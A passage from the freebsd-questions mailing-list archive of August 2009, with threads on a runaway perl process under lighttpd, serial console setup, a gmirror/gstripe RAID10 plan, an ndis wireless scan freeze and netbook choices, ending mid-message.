Hi all, I noticed this morning that a perl script was using a lot of CPU time on my FreeBSD webserver. By the time I killed it, it had run up 400 mins of system time according to top. However, simply killing 'perl5.8.9' didn't accomplish much, it was back running again moments later. I then rebooted. Once again it is running. According to top, the owner of the process is 'www', which would be lighttpd. So, it appears that lightthp is persistently spawning a perl script.But which one? I don't use perl much, but I do have it enabled in lighttp: [...] ) server.modules = ( "mod_access", "mod_simple_vhost", "mod_accesslog", "mod_cgi", "mod_rewrite", "mod_auth", "mod_fastcgi", "mod_redirect" ) static-file.exclude-extensions = ( ".fcgi", ".php", ".rb", "~", ".inc" ) cgi.assign = ( ".pl" => "/usr/bin/perl", ".cgi" => "/usr/local/bin/python", ".py" => "/usr/local/bin/python", ".sh" => "/usr/local/bin/bash" ) [...] Is there a command like fuser or lsof which can be used to determine what files this perl instance is using? Any other ideas on how to figure out what is going on here? Thanks. uname: FreeBSD 7.0-STABLE i386 -- Colin Brace Amsterdam http://www.lim.nl From owner-freebsd-questions@FreeBSD.ORG Mon Aug 24 08:07:52 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id EC524106564A for ; Mon, 24 Aug 2009 08:07:52 +0000 (UTC) (envelope-from on@cs.ait.ac.th) Received: from mail.cs.ait.ac.th (mail.cs.ait.ac.th [192.41.170.16]) by mx1.freebsd.org (Postfix) with ESMTP id 5A4F18FC14 for ; Mon, 24 Aug 2009 08:07:52 +0000 (UTC) Received: from banyan.cs.ait.ac.th (banyan.cs.ait.ac.th [192.41.170.5]) by mail.cs.ait.ac.th (8.13.1/8.13.1) with ESMTP id n7O870i7039140 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 24 Aug 2009 15:07:00 +0700 (ICT) (envelope-from on@cs.ait.ac.th) Received: (from on@localhost) by banyan.cs.ait.ac.th (8.14.3/8.14.3/Submit) id n7O87o3U092052; Mon, 24 Aug 2009 15:07:50 +0700 (ICT) (envelope-from on) Date: Mon, 24 Aug 2009 15:07:50 +0700 (ICT) Message-Id: <200908240807.n7O87o3U092052@banyan.cs.ait.ac.th> From: Olivier Nicole To: cb@lim.nl In-reply-to: <4A924601.3000507@lim.nl> (message from Colin Brace on Mon, 24 Aug 2009 09:49:21 +0200) References: <4A924601.3000507@lim.nl> X-Virus-Scanned: on CSIM by amavisd-milter (http://www.amavis.org/) Cc: freebsd-questions@freebsd.org Subject: Re: what www perl script is running? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Aug 2009 08:07:53 -0000 > Is there a command like fuser or lsof which can be used to determine > what files this perl instance is using? Any other ideas on how to figure > out what is going on here? lsof is in the ports. best regards, Olivier From owner-freebsd-questions@FreeBSD.ORG Mon Aug 24 08:17:14 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id B20E6106568C; Mon, 24 Aug 2009 08:17:14 +0000 (UTC) (envelope-from serenity@exscape.org) Received: from ch-smtp01.sth.basefarm.net (ch-smtp01.sth.basefarm.net [80.76.149.212]) by mx1.freebsd.org (Postfix) with ESMTP id 2FFD08FC1A; Mon, 24 Aug 2009 08:17:14 +0000 (UTC) Received: from c83-253-252-234.bredband.comhem.se ([83.253.252.234]:40156 helo=mx.exscape.org) by ch-smtp01.sth.basefarm.net with esmtp (Exim 4.68) (envelope-from ) id 1MfUin-00029z-69; Mon, 24 Aug 2009 10:16:12 +0200 Received: from [192.168.1.5] (macbookpro [192.168.1.5]) (using TLSv1 with cipher AES128-SHA (128/128 bits)) (No client certificate requested) by mx.exscape.org (Postfix) with ESMTPSA id 2A19638E6E; Mon, 24 Aug 2009 10:16:05 +0200 (CEST) Message-Id: From: Thomas Backman To: Carl Chave In-Reply-To: Content-Type: text/plain; charset=US-ASCII; format=flowed; delsp=yes Content-Transfer-Encoding: 7bit Mime-Version: 1.0 (Apple Message framework v936) Date: Mon, 24 Aug 2009 10:16:03 +0200 References: <2E76B1A5-C7B3-4845-9919-1C9FFC7EDA63@exscape.org> <6CB09DDE-ED11-46B7-B1BE-B2DE27C5572C@exscape.org> X-Mailer: Apple Mail (2.936) X-Originating-IP: 83.253.252.234 X-Scan-Result: No virus found in message 1MfUin-00029z-69. X-Scan-Signature: ch-smtp01.sth.basefarm.net 1MfUin-00029z-69 a3cd01e59630b9e86c2bdb1bad53a4ec Cc: Tim Judd , FreeBSD current , freebsd-questions@freebsd.org Subject: Re: Serial console trouble: loader and login works, but no kernel messages X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Aug 2009 08:17:14 -0000 On Aug 23, 2009, at 23:18, Carl Chave wrote: > Did you try booting with the keyboard disconnected from the FreeBSD > machine? Perhaps the vidconsole is favored when a keyboard is > detected? > > On a linux box I had, I would get serial output from Grub, lose it > during kernel load and then get a login once the OS was up, much like > what you describe. I had to add a kernel argument to my Grub config > so the kernel would output to the serial port. > > Did you look here: > http://www.freebsd.org/doc/en/articles/console-server/freebsd.html > > I think 7.2 might be what you are missing but I can't check it myself. > > On Sun, Aug 23, 2009 at 3:13 PM, Thomas > Backman wrote: >> >> On Aug 23, 2009, at 20:25, Tim Judd wrote: >> >>> On 8/23/09, Thomas Backman wrote: >>>> >>>> First off: Not subscribed to this list, please make sure to Cc me >>>> if >>>> you don't reply directly. :) >>>> >>>> Anyway, I finally got my null modem cable, and plugged in in >>>> between a >>>> machine running 8.0-BETA2 and one running WinXP using >>>> Hyperterminal. >>>> >>>> My settings: >>>> >>>> /boot/loader.conf: >>>> boot_multicons="YES" >>>> boot_serial="YES" >>>> comconsole_speed="115200" >>>> console="comconsole,vidconsole" >>>> >>>> /etc/ttys: >>>> # Serial terminals >>>> # The 'dialup' keyword identifies dialin lines to login, fingerd >>>> etc. >>>> ttyu0 "/usr/libexec/getty std.115200" vt100 on secure >>>> >>>> /boot.config (which is read properly): >>>> -Dh -S115200 >>>> >>>> Anything wrong in the above? >>>> Hyperterminal is set to 115200 bps, 8 bits, no parity, 1 stop >>>> bit, and >>>> no flow control (if that's the correct translation to English). >>>> >>>> On the serial console, I go from the screen with the FreeBSD logo, >>>> with single-user options etc. (which works fine), and then nothing, >>>> until a login tty pops up (which also works fine). The main, if not >>>> only, reason I want a serial console is to be able to use it for >>>> single user mode, DDB, and so on. >>>> All kernel messages, and all rc messages are seen only on the >>>> graphics >>>> card; the serial console receives nothing but the "/boot.config: - >>>> Dh ...", the logo screen, and then the login screen, during startup >>>> and *nothing* at all during shutdown. Also, I'm able to login and >>>> use >>>> the system both via the serial console and via the graphics card/ >>>> keyboard... Is this supposed to be? I'm not complaining, I just got >>>> the impression it was one or the other. >>>> >>>> Any advice on how to get the kernel/rc messages etc. to the serial >>>> console (only or as well)? >>>> >>>> Regards, >>>> Thomas >>> >>> >>> Do you use the VGA/vidconsole at all? >>> >>> A serial-only device (think soekris, ALIX/WRAP boards) that has no >>> VGA >>> will have different requirements than a serial-only device will. >>> >>> Your loader.conf statements are different than mine in the >>> definition >>> that you have more than I do to enable serial. >>> >>> My loader.conf just has one statement: >>> console="comconsole" - to feed ALL bootloaders, kernel probing, rc >>> startup on the serial device. /etc/ttys defines the login lines. >>> >>> Though trial and error, I found when you use a dual-setup: >>> "comconsole,vidconsole", the first one (comconsole) will get rc >>> output, and vidconsole won't. >>> >>> Of course, you're on 8.0 and I don't run BETAs. So the 8.0 BETA >>> might >>> still be having com port oddities, plus I noticed your ttys line is >>> ttyu0, not ttyd0. Did 8.0 change the serial line device? >>> >>> >>> >>> To enable a serial-only device in my setups: >>> /boot/loader.conf: >>> console="comconsole" >>> >>> /boot.config: >>> -D >>> >>> /etc/ttys: >>> # enable serial line, cons25 or vt100, depending if I'm originating >>> from a bsd or windows box. >>> >>> >>> >>> Enabling dual-setups should be just the loader.conf change to dual >>> console. >>> >>> >>> HTH >> >> >> (Sorry for the lack of inline replies.) >> >> I do have a graphics card, and ideally I'd like to be able to use >> both, but >> serial has higher priority (with serial access, I can use minicom >> on another >> *nix box and essentially ssh into DDB, and stuff like that - right >> now I >> have to borrow a monitor, and write info down manually if needed, >> turning my >> head back and forth). >> >> I've tried lots of combinations of console=, including simply >> 'console="comconsole"' and/or combinations of that and -D, -h- -Dh >> and -P in >> /boot.config. >> The extra lines in loader.conf are from the handbook, which says >> they're >> needed to use comconsole_speed. It seems they do the same thing as - >> D and >> -h, though. >> >> Oh, and re: /etc/ttys: Yup, it's ttyuX when using uart(4) which >> seems to be >> the default now. Actually, since my last buildworld half an hour >> ago I'm on >> 9.0-CURRENT. ;) >> Also, I made sure to set flags to 0x10 for the serial port as per the >> handbook (although I did it using loader.conf, not the kernel >> config); >> before the change, dmesg didn't mention any flags, but it now does. >> Didn't >> help squat, though. >> >> "Though trial and error, I found when you use a dual-setup: >> "comconsole,vidconsole", the first one (comconsole) will get rc >> output, and vidconsole won't." >> This doesn't mirror my experience; comconsole and >> comconsole,vidconsole >> appears to be just the same for me. I've never gotten anything >> except the >> boot loader and a login prompt over to the serial line - at least >> not at >> speed/settings that the client is set up to receive. >> >> I'm gonna try 9600 bps soon just to be sure it isn't that, but >> seeing how >> many others have mentioned using "-S115200" I doubt it'll help. >> >> Thanks/regards, >> Thomas >> _______________________________________________ >> freebsd-questions@freebsd.org mailing list >> http://lists.freebsd.org/mailman/listinfo/freebsd-questions >> To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org >> " >> Yes, I tried without the keyboard (with -P in boot.config), but apparently it detects the keyboard no matter what (it prints out "Keyboard: yes" even though I yanked the power, then the keyboard, and then started it up again). The article appears to be (even according to itself ;) a shortened version of the handbook ( http://www.freebsd.org/doc/en/books/handbook/serialconsole-setup.html ), which doesn't work out for me, I'm afraid. I'm Cc:ing this to the -CURRENT list in case it's something related to new changes. BTW, 9600 bps didn't help. Same thing, only slower. Regards, Thomas From owner-freebsd-questions@FreeBSD.ORG Mon Aug 24 08:26:58 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 7A289106568C for ; Mon, 24 Aug 2009 08:26:58 +0000 (UTC) (envelope-from j.mckeown@ru.ac.za) Received: from b.mail.ru.ac.za (b.mail.ru.ac.za [IPv6:2001:4200:1010::25:2]) by mx1.freebsd.org (Postfix) with ESMTP id AF92C8FC23 for ; Mon, 24 Aug 2009 08:26:57 +0000 (UTC) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=ru-msa; d=ru.ac.za; h=Received:From:Organization:To:Subject:Date:User-Agent:References:In-Reply-To:X-Face:MIME-Version:Content-Type:Content-Transfer-Encoding:Content-Disposition:Message-Id:X-Virus-Scanned:X-Authenticated-User; b=mVIfPGzszssVjH8C7vga8mLS6ubNEpOWc4OBzvNW3tYpWEXDapk416/6Eh5RverYutJvYUq2crQdwADxmCaCc238mYuIR1flQJSAaQUPAohWZwqsvzmYkofdqc6edBo6; Received: from vorkosigan.ru.ac.za ([2001:4200:1010:1058:219:d1ff:fe9f:a932]:53463) by b.mail.ru.ac.za with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.69 (FreeBSD)) (envelope-from ) id 1MfUtD-0005dB-Um for freebsd-questions@freebsd.org; Mon, 24 Aug 2009 10:26:55 +0200 From: Jonathan McKeown Organization: Rhodes University To: freebsd-questions@freebsd.org Date: Mon, 24 Aug 2009 10:26:55 +0200 User-Agent: KMail/1.9.10 References: <4A924601.3000507@lim.nl> <200908240807.n7O87o3U092052@banyan.cs.ait.ac.th> In-Reply-To: <200908240807.n7O87o3U092052@banyan.cs.ait.ac.th> X-Face: $@VrUx^RHy/}yu]jKf/<4T%/d|F+$j-Ol2"2J$q+%OK1]&/G_S9(=?utf-8?q?HkaQ*=60!=3FYOK=3FY!=27M=60C=0A=09aP=5C9nVPF8Q=7DCilHH8l=3B=7E!4?= =?utf-8?q?2HK6=273lg4J=7Daz?=@1Dqqh:J]M^"YPn*2IWrZON$1+G?oX3@ =?utf-8?q?k=230=0A=0954XDRg=3DYn=5FF-etwot4U=24b?=dTS{i X-Virus-Scanned: b.mail.ru.ac.za (2001:4200:1010::25:2) X-Authenticated-User: s0900137 from vorkosigan.ru.ac.za (2001:4200:1010:1058:219:d1ff:fe9f:a932) using auth_plaintext Subject: Re: what www perl script is running? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Aug 2009 08:26:58 -0000 On Monday 24 August 2009 10:07:50 Olivier Nicole wrote: > > Is there a command like fuser or lsof which can be used to determine > > what files this perl instance is using? Any other ideas on how to figure > > out what is going on here? > > lsof is in the ports. > and fstat(1) is in the core. From owner-freebsd-questions@FreeBSD.ORG Mon Aug 24 09:53:47 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 7ACE4106568D for ; Mon, 24 Aug 2009 09:53:47 +0000 (UTC) (envelope-from kraduk@googlemail.com) Received: from mail-bw0-f206.google.com (mail-bw0-f206.google.com [209.85.218.206]) by mx1.freebsd.org (Postfix) with ESMTP id BBF4C8FC08 for ; Mon, 24 Aug 2009 09:53:46 +0000 (UTC) Received: by bwz2 with SMTP id 2so1280511bwz.43 for ; Mon, 24 Aug 2009 02:53:45 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=googlemail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:cc:content-type; bh=xyBYorf9gQstA0pJg3SA7MypWmyVqLPBONaivypnozg=; b=PrZGPHManYOHlglEm3DnIeAPZvHy/dZIiDdUbomNSFBMP8RF38OjO/I5+ayZE6stY0 xjDyAzCI5BQy+pgL/CP/PmrdZMbJ1ShTN0x4Anz6ruAZP7f8LZhZXQpPJN//Yu+Ou+OZ amtS/cIDAnHl6wHIR/+qE6Ge8MZkd4zdM8qFA= DomainKey-Signature: a=rsa-sha1; c=nofws; d=googlemail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; b=S4EDn8dpUUukxoToyB3qEnJZ/MYBGoUyM/hzamNKAQw0y6OByFfPE5/P8d06n1OXvJ Gy+7QJ6wSKmd7uaXo8rDC3Hu0XC8s1Fq4s4UKFsO9nW8deI3M+jaU4nWOlKgY8iYmk2d sGyTBjyVI4sl/la8UpNij/iqb+zAyTl+n9vsY= MIME-Version: 1.0 Received: by 10.103.125.38 with SMTP id c38mr1787246mun.119.1251107625326; Mon, 24 Aug 2009 02:53:45 -0700 (PDT) In-Reply-To: <200908232330.53118.lists@jnielsen.net> References: <55fa7b3a0908220349h329ee6f2q4f1a039465a7f9fb@mail.gmail.com> <200908232330.53118.lists@jnielsen.net> Date: Mon, 24 Aug 2009 10:53:45 +0100 Message-ID: From: chris scott To: John Nielsen Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: Phil Lewis , freebsd-questions@freebsd.org Subject: Re: RAID10 setup X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Aug 2009 09:53:47 -0000 2009/8/24 John Nielsen > You're on the right track, additional comments inline. > > On Saturday 22 August 2009 06:49:06 am Phil Lewis wrote: > > This question was asked a few weeks ago, but the original poster > > must have had their questions amswered. As follow-ups offered > > further assistance given more detail, I wonder if I could be so bold > > as to provide that detail for my own circumstances. > > > > I have six disks: > > > > ad4 - 500MB > > ad5 - 500MB > > ad6 - 500MB > > ad7 - 400MB > > ad8 - 500MB > > ad10 - 500MB > > > > These are SATA drives, with ad8 and ad10 on a PCIe SATA controller. > > > > ad7 was my first disk and currently contains FreeBSD7.2-RELEASE. > > I've been using that to gain some familiarity with FreeBSD, but it > > need not be preserved (in fact, I'd rather not preserve it!). When I > > built the machine, I just plugged the 400GB drive in any old slot, > > so it can move if that makes sense. When I got the new drives I tried > > to get identical to the 400GB drive, but couldn't. The 400GB drive > > currently has a single slice using the full drive. > > Just make sure you have the disk(s) you plan to boot from on a controller > that will boot in your machine. If the controllers have different > performance characteristics then you probably want to share the wealth of > the better one between multiple mirrors. > > > What I'd like to end up with is a three-way stripe across three > > two-way mirrors, containing as much of the system as possible. > > This is certainly do-able. If it were me I'd put the whole OS on > the "spare change" partitions and leave the whole stripe for your serious > data consumer(s): /home, /data, possibly /usr/local or some or all > of /var, etc. Depends on your intended use of the storage naturally. > > > I understand that you can't boot from a stripe, so some part of some > > disk will have to be outside the stripe. However, as the stripe will > > also be limited to the smallest disk, I'm going to have 5 x 100 GB > > bits left over anyway, so I guess /boot can go on one of these..? > > Absolutely. I'd make a gmirror of two or three of them and put / on it. If > you really want to be minimal w/ your use of the extra space then you > could do /boot as you propose. > > > If possible, I'd like set this up pre-install. If it has to be done > > post-install, or is easier to describe how to do post-install, then > > that's fine. > > Either will work. Exactly how you do it depends on how much of the base > system you want to end up on the stripe. > > > >From here on in, this email becomes speculative. > > > > All of the examples I've seen for setting up GEOM stripes and mirrors > > have used the raw disk as the base-level provider. On the other hand, > > I've seen nothing that says that the bottom level cannot be a slice, > > rather than a raw disk, and given the way GEOM works, I suspect this > > is true. > > Yes, you can use partitions, slices or any other GEOM providers as members > of gstripe, gmirror and friends. > > > My current plan, based on this assumption, is as follows: > > > > With my current FreeBSD installation, create 2 slices on each 500GB > > disk, 1 x ~400GB, 1 x ~100GB (the same size as the slice of my 400GB > > disk, and the rest of the disk). > > > > Boot from the FreeBSD 7.2-RELEASE dvd, and enter fixit mode. I'm > > not sure which would be best, or even if both are feasible for what I > > want to do. (I was at this point in my researchwhen I found this > > post!). > > > > >From here, kldload geom_stripe and kldload geom_mirror. > > > > Then, create the three mirrors: > > > > gmirror label -v main0 /dev/ad4s1 /dev/ad5s1 > > gmirror label -v main1 /dev/ad6s1 /dev/ad571 > > gmirror label -v main2 /dev/ad8s1 /dev/ad10s1 > > > > This should give me /mirror/main0|main1|main2, right? > > Right. > > > Next create the stripe: > > > > gstripe label -v -s 131072 raid10 /dev/mirror/main0 > > /dev/mirror/main1 > > /dev/mirror/main2 > > (that's all one line) > > > > > > If I'm right so far, then hopefully I should be able to boot to the > > install dvd again (or just rerun sysnstall?), and from there I should > > be able to choose a slice from outside 'raid10' to mount /boot, and > > use 'raid10' for everything else. Do I need anything else on a > > non-striped slice? > > /boot or equivalent is the only thing required to smell like a normal disk > (which gmirror is capable of but gstripe isn't). You may want to use some > of the space for swap. The virtual memory system should do its own > version of stripe or interleave if you feed it multiple swap devices. > > > Maybe I could even create another mirror: > > > > gmirror label -v boot /dev/ad4s2 /dev/ad5s2 > > > > and use that to mount /boot, leaving me with s2 on ad6,8 and 10 as > > 3 spare 100GB slices? > > > > Or am I just way off track? > > You seem to be pretty well on track. It seems you've already parsed the > gstripe and gmirror man pages. You should probably look at fdisk(8) and > bsdlabel(8) as well in case sysinstall doesn't tie up all your loose > ends. Additionally you could just reinstall to a plain disk (or use your > existing installation) and use dump/restore (and/or rsync) to move your > filesystems to their multi-disk destinations. > > > PS. I can't believe I'm talking about 300 'spare' GB! My first disk > > was 20MB! And I never filed that! > > Mine was too but it got full... :) > > JN > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to " > freebsd-questions-unsubscribe@freebsd.org" > When you create the file systems you should also consider laying gjournal on top of the stripe as well. In most cases it will remove the need for having to fsck the file systems when there's a system crash. Quite useful if the filesystem is large. I also like the label the filesystems with glabel so they appear in the fstab as /dev/ufs/root /dev/ufs/usr /dev/ufs/var etc makes life a little easier From owner-freebsd-questions@FreeBSD.ORG Mon Aug 24 11:36:27 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 6FA3F106568B for ; Mon, 24 Aug 2009 11:36:27 +0000 (UTC) (envelope-from gt@fallendusk.org) Received: from ysera.fallendusk.org (ysera.fallendusk.org [76.76.101.106]) by mx1.freebsd.org (Postfix) with ESMTP id 411848FC0C for ; Mon, 24 Aug 2009 11:36:26 +0000 (UTC) Received: from localhost (localhost.gogax.com [127.0.0.1]) by ysera.fallendusk.org (Postfix) with ESMTP id E38A32842D; Mon, 24 Aug 2009 11:37:42 +0000 (UTC) X-Virus-Scanned: amavisd-new at fallendusk.org Received: from ysera.fallendusk.org ([127.0.0.1]) by localhost (ysera.fallendusk.org [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id KDgJBcRjJy82; Mon, 24 Aug 2009 11:37:41 +0000 (UTC) Received: from fallendusk.org (unknown [99.32.39.87]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) (Authenticated sender: gt@fallendusk.org) by ysera.fallendusk.org (Postfix) with ESMTPSA id 26CE628438; Mon, 24 Aug 2009 11:37:41 +0000 (UTC) Date: Mon, 24 Aug 2009 07:36:17 -0400 From: Gregory T Helton To: Eitan Adler Message-ID: <20090824113617.GA12964@fallendusk.org> References: <4A8989EC.4060709@gmail.com> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="sdtB3X0nJg68CQEu" Content-Disposition: inline In-Reply-To: <4A8989EC.4060709@gmail.com> User-Agent: Mutt/1.5.20 (2009-06-14) Cc: freebsd-questions@freebsd.org Subject: Re: ndis driver - freeze on scan X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Aug 2009 11:36:27 -0000 --sdtB3X0nJg68CQEu Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, Aug 17, 2009 at 04:48:44PM +0000, Eitan Adler wrote: > I created an ndis driver for my wireless card and kldloaded it. > When I try > ifconfig ndis0 up scan > my computer just freezes and it does not find any of the 100 > (exaggeration) APs around. >=20 > This is a broadcom wireless card. >=20 > --=20 > Eitan Adler > "Security is increased by designing for the way humans actually behave." > -Jakob Nielsen > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.o= rg" What version of FreeBSD is this? If it's 8.x, you have to scan with the wla= n0 device. I've seen lots of weird and nasty things happen when trying to manipulate t= he actual ndis0 device under 8. ifconfig wlan0 create wlandev ndis0 ifconfig wlan0 up scan --sdtB3X0nJg68CQEu Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.12 (FreeBSD) iEYEARECAAYFAkqSezAACgkQ+Yjj1mwcwNzLlgCfXmBTaXwRJ+ogZfWC7hu0Iv9j BmAAoIfyixoLjoB/pZPN+17XbVnLJB8R =xRmh -----END PGP SIGNATURE----- --sdtB3X0nJg68CQEu-- From owner-freebsd-questions@FreeBSD.ORG Mon Aug 24 12:14:25 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 26CDE106568B for ; Mon, 24 Aug 2009 12:14:25 +0000 (UTC) (envelope-from dharma66@gmail.com) Received: from an-out-0708.google.com (an-out-0708.google.com [209.85.132.246]) by mx1.freebsd.org (Postfix) with ESMTP id D83208FC0A for ; Mon, 24 Aug 2009 12:14:24 +0000 (UTC) Received: by an-out-0708.google.com with SMTP id d14so711492and.13 for ; Mon, 24 Aug 2009 05:14:24 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:from:date:message-id :subject:to:content-type:content-transfer-encoding; bh=i32UJT9HO7I++ZQJrg8xdnSmAX03UeLNcVF1FwXSjvU=; b=lef4uTT41AMtni+vGESP5KDtUkeyzyHtaofoLzHC9c/JVQBI/Z2YyFeXSzyBoN4yGn dVYOxOtnL6e7JuvCPJ6UTrR55LbYXXBcAvWE2afvfDeEwOJ/Up8yszHGYOsIoLydmab3 iOptLAkndTYTDuwoLf/Tt7HjSk3HOjDgaof5s= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:from:date:message-id:subject:to:content-type :content-transfer-encoding; b=i6KvWL2M5eFOlyOwxtYW7fpkUrIorOpmJI+emoXzlvsxScn6HoqC7qK0/pMA9HjSs0 +1tj+gmixmlOv7guT4mM07lOx39hVJIOBcNajqUZFpzyj8AbHHpIkqxh/DkR9gpOlQ6b FSHrNQw5hWYsck340TqXBcp7N+AV3bxLMiUXw= MIME-Version: 1.0 Received: by 10.101.33.5 with SMTP id l5mr4420384anj.44.1251116064110; Mon, 24 Aug 2009 05:14:24 -0700 (PDT) From: Phil Lewis Date: Mon, 24 Aug 2009 13:14:04 +0100 Message-ID: <55fa7b3a0908240514g5c0ec568m41a542333ceee961@mail.gmail.com> To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Subject: Re: RAID10 setup X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Aug 2009 12:14:25 -0000 Thanks to both of you for the encouraging words. I'm going to do little mor= e reading and schedule some time probably on Wednesday to give this a go. I'll feel a lot more conformable for your responses! Cheers Phil > Date: Sun, 23 Aug 2009 23:30:52 -0400 > From: John Nielsen > Subject: Re: RAID10 setup > To: freebsd-questions@freebsd.org > Cc: Phil Lewis > Message-ID: <200908232330.53118.lists@jnielsen.net> > Content-Type: text/plain; =A0charset=3D"iso-8859-1" > > You're on the right track, additional comments inline. > ... > > You seem to be pretty well on track. It seems you've already parsed the > gstripe and gmirror man pages. You should probably look at fdisk(8) and > bsdlabel(8) as well in case sysinstall doesn't tie up all your loose ... > Date: Mon, 24 Aug 2009 10:53:45 +0100 > From: chris scott > Subject: Re: RAID10 setup > To: John Nielsen > Cc: Phil Lewis , freebsd-questions@freebsd.org > Message-ID: > =A0 =A0 =A0 =A0 > Content-Type: text/plain; charset=3DISO-8859-1 > ... > When you create the file systems you should =A0also consider laying gjour= nal > on top of the stripe as well. In most cases it will remove the need for > having to fsck the file systems when there's a system crash. Quite useful= if > the filesystem is large. > > I also like the label the filesystems with glabel so they appear in the > fstab as > > /dev/ufs/root > /dev/ufs/usr > /dev/ufs/var > > etc > > makes life a little easier > From owner-freebsd-questions@FreeBSD.ORG Mon Aug 24 12:45:33 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 026811065694 for ; Mon, 24 Aug 2009 12:45:33 +0000 (UTC) (envelope-from jeff.hamann@forestinformatics.com) Received: from bobby.forestinformatics.com (cvo-cr1-200-239.peak.org [69.59.200.239]) by mx1.freebsd.org (Postfix) with ESMTP id BB8EF8FC21 for ; Mon, 24 Aug 2009 12:45:32 +0000 (UTC) Received: from [192.168.0.2] (rufus.forestinformatics.com [192.168.0.2]) by bobby.forestinformatics.com (8.13.4/8.13.4) with ESMTP id n7OCj394049092; Mon, 24 Aug 2009 05:45:13 -0700 (PDT) (envelope-from jeff.hamann@forestinformatics.com) From: Jeff Hamann To: "illoai@gmail.com" In-Reply-To: References: Message-Id: <447CAEF2-AA07-49E9-9E81-891FA7C23422@forestinformatics.com> Content-Type: text/plain; charset=US-ASCII; format=flowed; delsp=yes Content-Transfer-Encoding: 7bit Mime-Version: 1.0 (Apple Message framework v936) Date: Mon, 24 Aug 2009 05:45:20 -0700 X-Mailer: Apple Mail (2.936) X-Spam-Status: No, score=-1.4 required=5.0 tests=ALL_TRUSTED autolearn=failed version=3.1.1 X-Spam-Checker-Version: SpamAssassin 3.1.1 (2006-03-10) on bobby.forestinformatics.com Cc: freebsd-questions@freebsd.org Subject: Re: netbooks for freebsd? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Aug 2009 12:45:33 -0000 thanks. i've looked at both an acer and lenovo models and like the lenovo model better. as for linux... no way.. had too many hack experiences during the early years. that's why i made the switch to bsd. i would like to make my own port (super-port?), build a distro, and dump it onto a machine. haven't tested on virtual machine yet, but think that would be the smartest method. thanks again. On Aug 23, 2009, at 11:39 AM, illoai@gmail.com wrote: > 2009/8/19 Jeff Hamann : >> I would like to try some experimental software on a netbook. Can >> somebody >> recommend a netbook that can do FreeBSD. >> > > Late to the 